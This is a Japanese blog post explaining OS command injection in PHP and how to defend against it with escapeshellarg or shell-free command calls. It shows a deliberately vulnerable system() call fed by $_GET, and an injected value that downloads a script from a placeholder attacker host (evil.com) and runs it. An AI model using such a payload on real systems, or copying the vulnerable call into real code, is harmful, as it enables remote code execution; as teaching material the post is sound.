OSコマンドインジェクションとは
OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。
$paramとして ; wget http://evil.com/bad.php ; php bad.php を指定されると、system関数で実行するコマンドは下記となります。$param = $_GET['param']; system("myprog $param");
myprog ; wget http://evil.com/bad.php ; php bad.php; はシェルのメタ文字で、複数のコマンドを続けて実行するという意味なので、上記により、evil.comからbad.phpをダウンロード(*1)して、その後実行するという流れになります。
*1 evil.comではスクリプトをそのままダウンロードする設定と想定しています。
OSコマンドインジェクション脆弱性の対策
OSコマンドインジェクションは重大な脆弱性なので、以下のいずれかの対策をとります。- OSコマンドを呼ばずPHPの標準機能で何とかする
- OSコマンドに対して、外部から変更できるパラメータを指定しない
- OSコマンドに指定するパラメータを英数字に限定する
しかし、どーーーーしても上記対策がとれない場合は、コマンドに指定するパラメータを安全な方法でエスケープすることになります。PHPにはこの目的の関数が2種類用意されています。escapeshellcmdとescapeshellargです。しかし、escapeshellcmdの方は「使うな危険」状態(参照)ですので、escapeshellargの方を使うことになります。シェルのエスケープ関数の安全性については、拙著を書く時に調べて、そこで発見したescapeshellcmd関数の問題についてはブログに書きました。一方、escapeshellargは大丈夫そうでしたので、拙著では優先順位第4の方法として紹介しています。
私がコマンドパラメータのエスケープに慎重な理由は以下の通りです。
- OSコマンドインジェクション脆弱性の影響が甚大である
- シェルの文法の複雑性
- シェルの仕様が環境依存である可能性
- エスケープの際の文字エンコーディングの取り扱いに起因する問題の可能性
コマンド呼び出しとシェル
PHPには複数のコマンド呼び出し関数がありますが、いずれもシェル経由でのコマンド呼び出しとなります(*2)。例えば、system関数からmypsという自作プログラムを以下のように呼び出す場合。以下のように sh 経由でコマンドが実行されていることが分かります。system('myps 10 ; pwd');
最後の行に ; pwd が書いていませんが、これはmypsの終了後に別のコマンドとして実行されます。UID PID PPID CMD ockeghem 22244 20769 php system.php ockeghem 22245 22244 sh -c cd '/home/ockeghem' ; myps 10 ; pwd ockeghem 22246 22245 myps 10
一方、python3で以下のスクリプトを実行する場合。
以下のように、sh は起動されず、全てのパラメータはmypsの引数になります。すなわち、OSコマンドインジェクション脆弱性にはなりません。import subprocess subprocess.call(["myps", "10 ; pwd"])
また、perlやrubyを使う場合、system関数にてコマンドとパラメータを別に指定すると、shを経由しないでコマンドを実行します。UID PID PPID CMD ockeghem 22362 20769 python3 system.py ockeghem 22363 22362 myps 10 ; pwd
また、JavaのRuntime#execやProcessBuilderによりコマンドを起動した場合もシェルを経由しません。このため、明示的にシェル起動にしない限り、OSコマンドインジェクションにはなりません。system('myps', '10 ; pwd');
まとめ
OSコマンドインジェクション脆弱性とシェルの関係について説明しました。OSコマンドインジェクションは、シェル経由でコマンド実行する際のパラメータ解釈を悪用した攻撃手法といえます。このため、外部からのパラメータをOSコマンドに渡さなければならない場合、以下の解決策があります。- シェルのパラメータを正しく構成する
- シェルを経由しないでコマンドを起動する
PHPにはシェルを経由しないコマンド機能がない(*2)ので、PHP好きとしては残念な気持ちになりますね。PHPコミッタのみなさま、PHP5.6の新機能として、シェルを経由しないコマンド呼び出しの機能を追加できませんか?
*2 例外として、pcntl_fork および pcntl_exec を使ってコマンドを呼び出すとシェル経由にはなりませんが、PCNTL関数の制限としてCGI版PHPを使わなければならないため、通常のWebアプリケーションで利用するのは現実的ではありません。
0 件のコメント:
コメントを投稿